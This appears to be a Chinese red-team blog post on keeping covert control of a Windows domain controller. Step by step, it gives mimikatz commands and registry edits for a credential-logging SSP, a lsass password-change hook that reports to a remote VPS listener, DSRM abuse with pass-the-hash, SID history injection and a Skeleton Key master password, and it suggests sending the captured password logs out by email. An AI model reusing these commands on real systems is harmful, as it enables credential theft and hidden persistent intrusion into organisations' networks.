【权限维持】域控后门&SSP&HOOK&DSRM&SID&万能钥匙

简介: 【权限维持】域控后门&SSP&HOOK&DSRM&SID&万能钥匙

内网域-权限维持-基于验证DLL加载-SSP

方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

privilege::debug
misc::memssp


C:\Windows\System32\mimilsa.log 记录登录的账号密码

这里切换一下用户查看mimilsa.log文件


方法二:使用此方法即使系统重启,也不会影响到持久化的效果。

1、mimilib.dll(位于mimikatz同目录下)传到目标域控的c:\windows\system32\目录下



2、修改注册表,重启生效

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"


reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ


c:\windows\system32\kiwissp.log 记录账号密码文件


使用总结

攻防实战中,靶机很难会重启,攻击者重启的话风险过大,

因此可以在靶机上把两个方法相互结合起来使用效果比较好,

尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。


内网域-权限维持-基于验证DLL加载-HOOK

https://github.com/wh0Nsq/HookPasswordChange

https://github.com/clymb3r/Misc-Windows-Hacking

基于本地密码的修改,将修改的密码写在该目录下,当然在编译的过程中也可以更改路径。

编译时注意:在静态库中使用MFC(可能需要自行安装MFC库)

编译成功后将release目录下HookPasswordChange.dll 放到HookPasswordChangeNotify.ps1脚本同目录下

方法一:本地监听

powershell
Import-Module .\HookPasswordChangeNotify.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass   # 这条命令不运行也可以

导入ps脚本可能会提示缺少dll文件及其他报错

修改密码触发条件

方法二:vps远程监听

powershell -exec bypass -Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll -procname lsass}"

修改为自己vps ip以及监听的端口

很遗憾这里没有复现成功,缺少 MSVCP140.dll(需要下载vscode对应版本或者单独在程序路径进行导入)

当然实战情况下不出网,可以将其转发到已获取权限的域成员主机上或出网主机

报错解决:

powershell

Set-ExecutionPolicy

unrestricted


内网域-权限维持-基于机制账号启用-DSRM

概述

DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。


利用流程

1.获取dsrm及krbtgt的NTLM hash

privilege::debug
lsadump::lsa /patch /name:krbtgt
token::elevate
lsadump::sam

2.dsrm&krbtgt&NTLM hash同步

NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步

启用krptgt用户

q(第1次):退出DSRM密码设置模式

q(第2次):退出ntdsutil

3.修改dsrm登录方式(0:不可登陆、1:只能本地登陆、2:可以远程登录)

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

4.利用PTH传递攻击

privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

dir \\owa2010cn-god\c$

缺点:弹出cmd窗口,才可以利用,容易被发现

技术总结:

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。


内网域-权限维持-基于用户属性修改-SID history

利用流程

wmic useraccount get sid,name

1、获取某用户SID属性:

Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory

2、给予某用户administrator属性:

privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator

再次查看webadmin sid属性(此时已经具有administrator权限)

3、测评给与前后的DC访问权限:

dir \\192.168.3.21\c$


技术总结:

把域控管理员的SID加入到 其他某个 恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。


内网域-权限维持-基于登录进程劫持-Skeleton Key

1、测试域内某个用户与DC通讯

dir \\owa2010cn-god\c$


2、连接DC后,DC注入lsass进程

net use \owa2010cn-god\ipc$ “Admin12345” /user:god\administrator

mimikatz:
privilege::debug
misc::skeleton

3、重新测试域内某个用户与DC通讯

net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$

技术总结:

因为Skeleton Key技术是被注入到lsass.exe进程的,

所以它只存在内存中,如域控重启,万能密码将失效。


参考

https://www.cnblogs.com/lcxblogs/p/14216525.html

相关文章
|
安全 数据安全/隐私保护 Windows
「渗透技巧」添加 administrator 影子用户
「渗透技巧」添加 administrator 影子用户
红队|执行Mimikatz的64种方式
红队|执行Mimikatz的64种方式
319 0
|
安全 Linux 开发工具
9.12 不要轻易设置SetUID(SUID)权限,否则会带来重大安全隐患!
SetUID权限设置不当,会给 Linux系统造成重大安全隐患。
365 0
9.12 不要轻易设置SetUID(SUID)权限,否则会带来重大安全隐患!
|
存储 安全 JavaScript
iOS ASO 数据清理(Accounts帐号信息、Keychain数据)
iOS ASO 数据清理(Accounts帐号信息、Keychain数据)
1043 0
iOS ASO 数据清理(Accounts帐号信息、Keychain数据)
|
安全 Java API
PublicCMS 网站漏洞 任意文件写入并可提权服务器权限
PublicCMS是目前网站系统中第一个采用JAVA架构 TOMCAT+Apcche+Mysql数据库架构的CMS网站,开源,数据承载量大,可以承载到上千万的数据量,以及用户的网站并发可达到上千万的PV,PublicCMS静态全站html,访问速度极快,模板样式多,可自己设计,第三方的API接口也很多,深受网站运营者的喜欢。最重要的是开源,免费升级,支持动静分离,数据库及时备份等功能。
585 0
PublicCMS 网站漏洞 任意文件写入并可提权服务器权限
|
安全 数据安全/隐私保护
OS X Lion发现可随意更改用户密码漏洞
据外国媒体报导,一家专注于计算机安全领域的博客Defense in Depth日前在OS X Lion上发现了一个安全漏洞,一名黑客称“虽然没有root权限的用户不能够直接访问shadow文件,但是Lion仍然为他们提供浏览密码的散列数据”。
737 0